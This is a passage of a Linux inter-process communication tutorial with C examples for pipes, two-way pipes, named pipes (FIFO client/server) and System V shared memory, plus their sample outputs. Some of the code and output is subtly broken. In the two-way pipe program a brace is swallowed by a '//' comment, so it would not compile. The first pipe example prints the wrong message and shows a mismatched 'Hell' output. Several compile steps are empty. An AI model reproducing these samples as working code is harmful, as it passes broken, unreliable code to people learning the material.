Step 1 − Create a pipe.

Step 2 − Send a message to the pipe.

Step 3 − Retrieve the message from the pipe and write it to the standard output.

Step 4 − Send another message to the pipe.

Step 5 − Retrieve the message from the pipe and write it to the standard output.

Note − Retrieving messages can also be done after sending all messages.

Source Code: simplepipe.c

#include<stdio.h>
#include<unistd.h>

int main() {
   int pipefds[2];
   int returnstatus;
   char writemessages[2][20]={"Hi", "Hello"};
   char readmessage[20];
   returnstatus = pipe(pipefds);
   
   if (returnstatus == -1) {
      printf("Unable to create pipe\n");
      return 1;
   }
   
   printf("Writing to pipe - Message 1 is %s\n", writemessages[0]);
   write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
   read(pipefds[0], readmessage, sizeof(readmessage));
   printf("Reading from pipe – Message 1 is %s\n", readmessage);
   printf("Writing to pipe - Message 2 is %s\n", writemessages[0]);
   write(pipefds[1], writemessages[1], sizeof(writemessages[0]));
   read(pipefds[0], readmessage, sizeof(readmessage));
   printf("Reading from pipe – Message 2 is %s\n", readmessage);
   return 0;
}

Note − Ideally, return status needs to be checked for every system call. To simplify the process, checks are not done for all the calls.

Execution Steps

Compilation

gcc -o simplepipe simplepipe.c

Execution/Output

Writing to pipe - Message 1 is Hi
Reading from pipe – Message 1 is Hi
Writing to pipe - Message 2 is Hi
Reading from pipe – Message 2 is Hell

Example program 2 − Program to write and read two messages through the pipe using the parent and the child processes.

Algorithm

Step 1 − Create a pipe.

Step 2 − Create a child process.

Step 3 − Parent process writes to the pipe.

Step 4 − Child process retrieves the message from the pipe and writes it to the standard output.

Step 5 − Repeat step 3 and step 4 once again.

Source Code: pipewithprocesses.c

#include<stdio.h>
#include<unistd.h>

int main() {
   int pipefds[2];
   int returnstatus;
   int pid;
   char writemessages[2][20]={"Hi", "Hello"};
   char readmessage[20];
   returnstatus = pipe(pipefds);
   if (returnstatus == -1) {
      printf("Unable to create pipe\n");
      return 1;
   }
   pid = fork();
   
   // Child process
   if (pid == 0) {
      read(pipefds[0], readmessage, sizeof(readmessage));
      printf("Child Process - Reading from pipe – Message 1 is %s\n", readmessage);
      read(pipefds[0], readmessage, sizeof(readmessage));
      printf("Child Process - Reading from pipe – Message 2 is %s\n", readmessage);
   } else { //Parent process
      printf("Parent Process - Writing to pipe - Message 1 is %s\n", writemessages[0]);
      write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
      printf("Parent Process - Writing to pipe - Message 2 is %s\n", writemessages[1]);
      write(pipefds[1], writemessages[1], sizeof(writemessages[1]));
   }
   return 0;
}

Execution Steps

Compilation

gcc pipewithprocesses.c –o pipewithprocesses

Execution

Parent Process - Writing to pipe - Message 1 is Hi
Parent Process - Writing to pipe - Message 2 is Hello
Child Process - Reading from pipe – Message 1 is Hi
Child Process - Reading from pipe – Message 2 is Hello

Two-way Communication Using Pipes

Pipe communication is viewed as only one-way communication i.e., either the parent process writes and the child process reads or vice-versa but not both. However, what if both the parent and the child needs to write and read from the pipes simultaneously, the solution is a two-way communication using pipes. Two pipes are required to establish two-way communication.

Following are the steps to achieve two-way communication −

Step 1 − Create two pipes. First one is for the parent to write and child to read, say as pipe1. Second one is for the child to write and parent to read, say as pipe2.

Step 2 − Create a child process.

Step 3 − Close unwanted ends as only one end is needed for each communication.

Step 4 − Close unwanted ends in the parent process, read end of pipe1 and write end of pipe2.

Step 5 − Close the unwanted ends in the child process, write end of pipe1 and read end of pipe2.

Step 6 − Perform the communication as required.

Pipe with two

Sample Programs

Sample program 1 − Achieving two-way communication using pipes.

Algorithm

Step 1 − Create pipe1 for the parent process to write and the child process to read.

Step 2 − Create pipe2 for the child process to write and the parent process to read.

Step 3 − Close the unwanted ends of the pipe from the parent and child side.

Step 4 − Parent process to write a message and child process to read and display on the screen.

Step 5 − Child process to write a message and parent process to read and display on the screen.

Source Code: twowayspipe.c

#include<stdio.h>
#include<unistd.h>

int main() {
   int pipefds1[2], pipefds2[2];
   int returnstatus1, returnstatus2;
   int pid;
   char pipe1writemessage[20] = "Hi";
   char pipe2writemessage[20] = "Hello";
   char readmessage[20];
   returnstatus1 = pipe(pipefds1);
   
   if (returnstatus1 == -1) {
      printf("Unable to create pipe 1 \n");
      return 1;
   }
   returnstatus2 = pipe(pipefds2);
   
   if (returnstatus2 == -1) {
      printf("Unable to create pipe 2 \n");
      return 1;
   }
   pid = fork();
   
   if (pid != 0) // Parent process {
      close(pipefds1[0]); // Close the unwanted pipe1 read side
      close(pipefds2[1]); // Close the unwanted pipe2 write side
      printf("In Parent: Writing to pipe 1 – Message is %s\n", pipe1writemessage);
      write(pipefds1[1], pipe1writemessage, sizeof(pipe1writemessage));
      read(pipefds2[0], readmessage, sizeof(readmessage));
      printf("In Parent: Reading from pipe 2 – Message is %s\n", readmessage);
   } else { //child process
      close(pipefds1[1]); // Close the unwanted pipe1 write side
      close(pipefds2[0]); // Close the unwanted pipe2 read side
      read(pipefds1[0], readmessage, sizeof(readmessage));
      printf("In Child: Reading from pipe 1 – Message is %s\n", readmessage);
      printf("In Child: Writing to pipe 2 – Message is %s\n", pipe2writemessage);
      write(pipefds2[1], pipe2writemessage, sizeof(pipe2writemessage));
   }
   return 0;
}

Execution Steps

Compilation

gcc twowayspipe.c –o twowayspipe

Execution

In Parent: Writing to pipe 1 – Message is Hi
In Child: Reading from pipe 1 – Message is Hi
In Child: Writing to pipe 2 – Message is Hello
In Parent: Reading from pipe 2 – Message is Hello

Inter Process Communication - Named Pipes

Pipes were meant for communication between related processes. Can we use pipes for unrelated process communication, say, we want to execute client program from one terminal and the server program from another terminal? The answer is No. Then how can we achieve unrelated processes communication, the simple answer is Named Pipes. Even though this works for related processes, it gives no meaning to use the named pipes for related process communication.

We used one pipe for one-way communication and two pipes for bi-directional communication. Does the same condition apply for Named Pipes. The answer is no, we can use single named pipe that can be used for two-way communication (communication between the server and the client, plus the client and the server at the same time) as Named Pipe supports bi-directional communication.

Another name for named pipe is FIFO (First-In-First-Out). Let us see the system call (mknod()) to create a named pipe, which is a kind of a special file.

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int mknod(const char *pathname, mode_t mode, dev_t dev);

This system call would create a special file or file system node such as ordinary file, device file, or FIFO. The arguments to the system call are pathname, mode and dev. The pathname along with the attributes of mode and device information. The pathname is relative, if the directory is not specified it would be created in the current directory. The mode specified is the mode of file which specifies the file type such as the type of file and the file mode as mentioned in the following tables. The dev field is to specify device information such as major and minor device numbers.

File Type Description File Type Description
S_IFBLK block special S_IFREG Regular file
S_IFCHR character special S_IFDIR Directory
S_IFIFO FIFO special S_IFLNK Symbolic Link
File Mode Description File Mode Description
S_IRWXU Read, write, execute/search by owner S_IWGRP Write permission, group
S_IRUSR Read permission, owner S_IXGRP Execute/search permission, group
S_IWUSR Write permission, owner S_IRWXO Read, write, execute/search by others
S_IXUSR Execute/search permission, owner S_IROTH Read permission, others
S_IRWXG Read, write, execute/search by group S_IWOTH Write permission, others
S_IRGRP Read permission, group S_IXOTH Execute/search permission, others

File mode can also be represented in octal notation such as 0XYZ, where X represents owner, Y represents group, and Z represents others. The value of X, Y or Z can range from 0 to 7. The values for read, write and execute are 4, 2, 1 respectively. If needed in combination of read, write and execute, then add the values accordingly.

Say, if we mention, 0640, then this means read and write (4 + 2 = 6) for owner, read (4) for group and no permissions (0) for others.

This call would return zero on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.

#include <sys/types.h>
#include <sys/stat.h>

int mkfifo(const char *pathname, mode_t mode)

This library function creates a FIFO special file, which is used for named pipe. The arguments to this function is file name and mode. The file name can be either absolute path or relative path. If full path name (or absolute path) is not given, the file would be created in the current folder of the executing process. The file mode information is as described in mknod() system call.

This call would return zero on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.

Let us consider a program of running the server on one terminal and running the client on another terminal. The program would only perform one-way communication. The client accepts the user input and sends the message to the server, the server prints the message on the output. The process is continued until the user enters the string “end”.

Let us understand this with an example −

Step 1 − Create two processes, one is fifoserver and another one is fifoclient.

Step 2 − Server process performs the following −

  • Creates a named pipe (using system call mknod()) with name “MYFIFO”, if not created.

  • Opens the named pipe for read only purposes.

  • Here, created FIFO with permissions of read and write for Owner. Read for Group and no permissions for Others.

  • Waits infinitely for message from the Client.

  • If the message received from the client is not “end”, prints the message. If the message is “end”, closes the fifo and ends the process.

Step 3 − Client process performs the following −

  • Opens the named pipe for write only purposes.

  • Accepts the string from the user.

  • Checks, if the user enters “end” or other than “end”. Either way, it sends a message to the server. However, if the string is “end”, this closes the FIFO and also ends the process.

  • Repeats infinitely until the user enters string “end”.

Now let’s take a look at the FIFO server file.

/* Filename: fifoserver.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define FIFO_FILE "MYFIFO"
int main() {
   int fd;
   char readbuf[80];
   char end[10];
   int to_end;
   int read_bytes;
   
   /* Create the FIFO if it does not exist */
   mknod(FIFO_FILE, S_IFIFO|0640, 0);
   strcpy(end, "end");
   while(1) {
      fd = open(FIFO_FILE, O_RDONLY);
      read_bytes = read(fd, readbuf, sizeof(readbuf));
      readbuf[read_bytes] = '\0';
      printf("Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
      to_end = strcmp(readbuf, end);
      if (to_end == 0) {
         close(fd);
         break;
      }
   }
   return 0;
}

Compilation and Execution Steps

Received string: "this is string 1" and length is 16
Received string: "fifo test" and length is 9
Received string: "fifo client and server" and length is 22
Received string: "end" and length is 3

Now, let’s take a look at the FIFO client sample code.

/* Filename: fifoclient.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define FIFO_FILE "MYFIFO"
int main() {
   int fd;
   int end_process;
   int stringlen;
   char readbuf[80];
   char end_str[5];
   printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
   fd = open(FIFO_FILE, O_CREAT|O_WRONLY);
   strcpy(end_str, "end");
   
   while (1) {
      printf("Enter string: ");
      fgets(readbuf, sizeof(readbuf), stdin);
      stringlen = strlen(readbuf);
      readbuf[stringlen - 1] = '\0';
      end_process = strcmp(readbuf, end_str);
      
      //printf("end_process is %d\n", end_process);
      if (end_process != 0) {
         write(fd, readbuf, strlen(readbuf));
         printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
      } else {
         write(fd, readbuf, strlen(readbuf));
         printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
         close(fd);
         break;
      }
   }
   return 0;
}

Let’s take a at the arriving output.

Compilation and Execution Steps

FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: this is string 1
Sent string: "this is string 1" and string length is 16
Enter string: fifo test
Sent string: "fifo test" and string length is 9
Enter string: fifo client and server
Sent string: "fifo client and server" and string length is 22
Enter string: end
Sent string: "end" and string length is 3

Two-way Communication Using Named Pipes

The communication between pipes are meant to be unidirectional. Pipes were restricted to one-way communication in general and need at least two pipes for two-way communication. Pipes are meant for inter-related processes only. Pipes can’t be used for unrelated processes communication, say, if we want to execute one process from one terminal and another process from another terminal, it is not possible with pipes. Do we have any simple way of communicating between two processes, say unrelated processes in a simple way? The answer is YES. Named pipe is meant for communication between two or more unrelated processes and can also have bi-directional communication.

Already, we have seen the one-directional communication between named pipes, i.e., the messages from the client to the server. Now, let us take a look at the bi-directional communication i.e., the client sending message to the server and the server receiving the message and sending back another message to the client using the same named pipe.

Following is an example −

Step 1 − Create two processes, one is fifoserver_twoway and another one is fifoclient_twoway.

Step 2 − Server process performs the following −

  • Creates a named pipe (using library function mkfifo()) with name “fifo_twoway” in /tmp directory, if not created.

  • Opens the named pipe for read and write purposes.

  • Here, created FIFO with permissions of read and write for Owner. Read for Group and no permissions for Others.

  • Waits infinitely for a message from the client.

  • If the message received from the client is not “end”, prints the message and reverses the string. The reversed string is sent back to the client. If the message is “end”, closes the fifo and ends the process.

Step 3 − Client process performs the following −

  • Opens the named pipe for read and write purposes.

  • Accepts string from the user.

  • Checks, if the user enters “end” or other than “end”. Either way, it sends a message to the server. However, if the string is “end”, this closes the FIFO and also ends the process.

  • If the message is sent as not “end”, it waits for the message (reversed string) from the client and prints the reversed string.

  • Repeats infinitely until the user enters the string “end”.

Now, let’s take a look at FIFO server sample code.

/* Filename: fifoserver_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define FIFO_FILE "/tmp/fifo_twoway"
void reverse_string(char *);
int main() {
   int fd;
   char readbuf[80];
   char end[10];
   int to_end;
   int read_bytes;
   
   /* Create the FIFO if it does not exist */
   mkfifo(FIFO_FILE, S_IFIFO|0640);
   strcpy(end, "end");
   fd = open(FIFO_FILE, O_RDWR);
   while(1) {
      read_bytes = read(fd, readbuf, sizeof(readbuf));
      readbuf[read_bytes] = '\0';
      printf("FIFOSERVER: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
      to_end = strcmp(readbuf, end);
      
      if (to_end == 0) {
         close(fd);
         break;
      }
      reverse_string(readbuf);
      printf("FIFOSERVER: Sending Reversed String: \"%s\" and length is %d\n", readbuf, (int) strlen(readbuf));
      write(fd, readbuf, strlen(readbuf));
      /*
      sleep - This is to make sure other process reads this, otherwise this
      process would retrieve the message
      */
      sleep(2);
   }
   return 0;
}

void reverse_string(char *str) {
   int last, limit, first;
   char temp;
   last = strlen(str) - 1;
   limit = last/2;
   first = 0;
   
   while (first < last) {
      temp = str[first];
      str[first] = str[last];
      str[last] = temp;
      first++;
      last--;
   }
   return;
}

Compilation and Execution Steps

FIFOSERVER: Received string: "LINUX IPCs" and length is 10
FIFOSERVER: Sending Reversed String: "sCPI XUNIL" and length is 10
FIFOSERVER: Received string: "Inter Process Communication" and length is 27
FIFOSERVER: Sending Reversed String: "noitacinummoC ssecorP retnI" and length is 27
FIFOSERVER: Received string: "end" and length is 3

Now, let’s take a look at FIFO client sample code.

/* Filename: fifoclient_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#define FIFO_FILE "/tmp/fifo_twoway"
int main() {
   int fd;
   int end_process;
   int stringlen;
   int read_bytes;
   char readbuf[80];
   char end_str[5];
   printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
   fd = open(FIFO_FILE, O_CREAT|O_RDWR);
   strcpy(end_str, "end");
   
   while (1) {
      printf("Enter string: ");
      fgets(readbuf, sizeof(readbuf), stdin);
      stringlen = strlen(readbuf);
      readbuf[stringlen - 1] = '\0';
      end_process = strcmp(readbuf, end_str);
      
      //printf("end_process is %d\n", end_process);
      if (end_process != 0) {
         write(fd, readbuf, strlen(readbuf));
         printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
         read_bytes = read(fd, readbuf, sizeof(readbuf));
         readbuf[read_bytes] = '\0';
         printf("FIFOCLIENT: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
      } else {
         write(fd, readbuf, strlen(readbuf));
         printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
         close(fd);
         break;
      }
   }
   return 0;
}

Compilation and Execution Steps

FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: LINUX IPCs
FIFOCLIENT: Sent string: "LINUX IPCs" and string length is 10
FIFOCLIENT: Received string: "sCPI XUNIL" and length is 10
Enter string: Inter Process Communication
FIFOCLIENT: Sent string: "Inter Process Communication" and string length is 27
FIFOCLIENT: Received string: "noitacinummoC ssecorP retnI" and length is 27
Enter string: end
FIFOCLIENT: Sent string: "end" and string length is 3

Shared Memory

Shared memory is a memory shared between two or more processes. However, why do we need to share memory or some other means of communication?

To reiterate, each process has its own address space, if any process wants to communicate with some information from its own address space to other processes, then it is only possible with IPC (inter process communication) techniques. As we are already aware, communication can be between related or unrelated processes.

Usually, inter-related process communication is performed using Pipes or Named Pipes. Unrelated processes (say one process running in one terminal and another process in another terminal) communication can be performed using Named Pipes or through popular IPC techniques of Shared Memory and Message Queues.

We have seen the IPC techniques of Pipes and Named pipes and now it is time to know the remaining IPC techniques viz., Shared Memory, Message Queues, Semaphores, Signals, and Memory Mapping.

In this chapter, we will know all about shared memory.

Shared Memory

We know that to communicate between two or more processes, we use shared memory but before using the shared memory what needs to be done with the system calls, let us see this −

  • Create the shared memory segment or use an already created shared memory segment (shmget())

  • Attach the process to the already created shared memory segment (shmat())

  • Detach the process from the already attached shared memory segment (shmdt())

  • Control operations on the shared memory segment (shmctl())

Let us look at a few details of the system calls related to shared memory.

#include <sys/ipc.h>
#include <sys/shm.h>

int shmget(key_t key, size_t size, int shmflg)

The above system call creates or allocates a System V shared memory segment. The arguments that need to be passed are as follows −

The first argument, key, recognizes the shared memory segment. The key can be either an arbitrary value or one that can be derived from the library function ftok(). The key can also be IPC_PRIVATE, means, running processes as server and client (parent and child relationship) i.e., inter-related process communiation. If the client wants to use shared memory with this key, then it must be a child process of the server. Also, the child process needs to be created after the parent has obtained a shared memory.

The second argument, size, is the size of the shared memory segment rounded to multiple of PAGE_SIZE.

The third argument, shmflg, specifies the required shared memory flag/s such as IPC_CREAT (creating new segment) or IPC_EXCL (Used with IPC_CREAT to create new segment and the call fails, if the segment already exists). Need to pass the permissions as well.

Note − Refer earlier sections for details on permissions.

This call would return a valid shared memory identifier (used for further calls of shared memory) on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.

#include <sys/types.h>
#include <sys/shm.h>

void * shmat(int shmid, const void *shmaddr, int shmflg)

The above system call performs shared memory operation for System V shared memory segment i.e., attaching a shared memory segment to the address space of the calling process. The arguments that need to be passed are as follows −

The first argument, shmid, is the identifier of the shared memory segment. This id is the shared memory identifier, which is the return value of shmget() system call.

The second argument, shmaddr, is to specify the attaching address. If shmaddr is NULL, the system by default chooses the suitable address to attach the segment. If shmaddr is not NULL and SHM_RND is specified in shmflg, the attach is equal to the address of the nearest multiple of SHMLBA (Lower Boundary Address). Otherwise, shmaddr must be a page aligned address at which the shared memory attachment occurs/starts.

The third argument, shmflg, specifies the required shared memory flag/s such as SHM_RND (rounding off address to SHMLBA) or SHM_EXEC (allows the contents of segment to be executed) or SHM_RDONLY (attaches the segment for read-only purpose, by default it is read-write) or SHM_REMAP (replaces the existing mapping in the range specified by shmaddr and continuing till the end of segment).

This call would return the address of attached shared memory segment on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.

#include <sys/types.h>
#include <sys/shm.h>

int shmdt(const void *shmaddr)

The above system call performs shared memory operation for System V shared memory segment of detaching the shared memory segment from the address space of the calling process. The argument that needs to be passed is −

The argument, shmaddr, is the address of shared memory segment to be detached. The to-be-detached segment must be the address returned by the shmat() system call.

This call would return 0 on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.

#include <sys/ipc.h>
#include <sys/shm.h>

int shmctl(int shmid, int cmd, struct shmid_ds *buf)

The above system call performs control operation for a System V shared memory segment. The following arguments needs to be passed −

The first argument, shmid, is the identifier of the shared memory segment. This id is the shared memory identifier, which is the return value of shmget() system call.

The second argument, cmd, is the command to perform the required control operation on the shared memory segment.

Valid values for cmd are −

  • IPC_STAT − Copies the information of the current values of each member of struct shmid_ds to the passed structure pointed by buf. This command requires read permission to the shared memory segment.

  • IPC_SET − Sets the user ID, group ID of the owner, permissions, etc. pointed to by structure buf.

  • IPC_RMID − Marks the segment to be destroyed. The segment is destroyed only after the last process has detached it.

  • IPC_INFO − Returns the information about the shared memory limits and parameters in the structure pointed by buf.

  • SHM_INFO − Returns a shm_info structure containing information about the consumed system resources by the shared memory.

The third argument, buf, is a pointer to the shared memory structure named struct shmid_ds. The values of this structure would be used for either set or get as per cmd.

This call returns the value depending upon the passed command. Upon success of IPC_INFO and SHM_INFO or SHM_STAT returns the index or identifier of the shared memory segment or 0 for other operations and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.

Let us consider the following sample program.

  • Create two processes, one is for writing into the shared memory (shm_write.c) and another is for reading from the shared memory (shm_read.c)

  • The program performs writing into the shared memory by write process (shm_write.c) and reading from the shared memory by reading process (shm_read.c)

  • In the shared memory, the writing process, creates a shared memory of size 1K (and flags) and attaches the shared memory

  • The write process writes 5 times the Alphabets from ‘A’ to ‘E’ each of 1023 bytes into the shared memory. Last byte signifies the end of buffer

  • Read process would read from the shared memory and write to the standard output

  • Reading and writing process actions are performed simultaneously

  • After completion of writing, the write process updates to indicate completion of writing into the shared memory (with complete variable in struct shmseg)

  • Reading process performs reading from the shared memory and displays on the output until it gets indication of write process completion (complete variable in struct shmseg)

  • Performs reading and writing process for a few times for simplication and also in order to avoid infinite loops and complicating the program

Following is the code for write process (Writing into Shared Memory – File: shm_write.c)

/* Filename: shm_write.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>

#define BUF_SIZE 1024
#define SHM_KEY 0x1234

struct shmseg {
   int cnt;
   int complete;
   char buf[BUF_SIZE];
};
int fill_buffer(char * bufptr, int size);

int main(int argc, char *argv[]) {
   int shmid, numtimes;
   struct shmseg *shmp;
   char *bufptr;
   int spaceavailable;
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }
   
   // Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL, 0);
   if (shmp == (void *) -1) {
      perror("Shared memory attach");
      return 1;
   }
   
   /* Transfer blocks of data from buffer to shared memory */
   bufptr = shmp->buf;
   spaceavailable = BUF_SIZE;
   for (numtimes = 0; numtimes < 5; numtimes++) {
      shmp->cnt = fill_buffer(bufptr, spaceavailable);
      shmp->complete = 0;
      printf("Writing Process: Shared Memory Write: Wrote %d bytes\n", shmp->cnt);
      bufptr = shmp->buf;
      spaceavailable = BUF_SIZE;
      sleep(3);
   }
   printf("Writing Process: Wrote %d times\n", numtimes);
   shmp->complete = 1;

   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }

   if (shmctl(shmid, IPC_RMID, 0) == -1) {
      perror("shmctl");
      return 1;
   }
   printf("Writing Process: Complete\n");
   return 0;
}

int fill_buffer(char * bufptr, int size) {
   static char ch = 'A';
   int filled_count;
   
   //printf("size is %d\n", size);
   memset(bufptr, ch, size - 1);
   bufptr[size-1] = '\0';
   if (ch > 122)
   ch = 65;
   if ( (ch >= 65) && (ch <= 122) ) {
      if ( (ch >= 91) && (ch <= 96) ) {
         ch = 65;
      }
   }
   filled_count = strlen(bufptr);
   
   //printf("buffer count is: %d\n", filled_count);
   //printf("buffer filled is:%s\n", bufptr);
   ch++;
   return filled_count;
}

Compilation and Execution Steps

Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Shared Memory Write: Wrote 1023 bytes
Writing Process: Wrote 5 times
Writing Process: Complete

Following is the code for read process (Reading from the Shared Memory and writing to the standard output – File: shm_read.c)

/* Filename: shm_read.c */
#include<stdio.h>
#include<sys/ipc.h>
#include<sys/shm.h>
#include<sys/types.h>
#include<string.h>
#include<errno.h>
#include<stdlib.h>

#define BUF_SIZE 1024
#define SHM_KEY 0x1234

struct shmseg {
   int cnt;
   int complete;
   char buf[BUF_SIZE];
};

int main(int argc, char *argv[]) {
   int shmid;
   struct shmseg *shmp;
   shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
   if (shmid == -1) {
      perror("Shared memory");
      return 1;
   }
   
   // Attach to the segment to get a pointer to it.
   shmp = shmat(shmid, NULL, 0);
   if (shmp == (void *) -1) {
      perror("Shared memory attach");
      return 1;
   }
   
   /* Transfer blocks of data from shared memory to stdout*/
   while (shmp->complete != 1) {
      printf("segment contains : \n\"%s\"\n", shmp->buf);
      if (shmp->cnt == -1) {
         perror("read");
         return 1;
      }
      printf("Reading Process: Shared Memory: Read %d bytes\n", shmp->cnt);
      sleep(3);
   }
   printf("Reading Process: Reading Done, Detaching Shared Memory\n");
   if (shmdt(shmp) == -1) {
      perror("shmdt");
      return 1;
   }
   printf("Reading Process: Complete\n");
   return 0;
}

Compilation and Execution Steps

segment contains :
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
Reading Process: Shared Memory: Read 1023 bytes
segment contains :
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
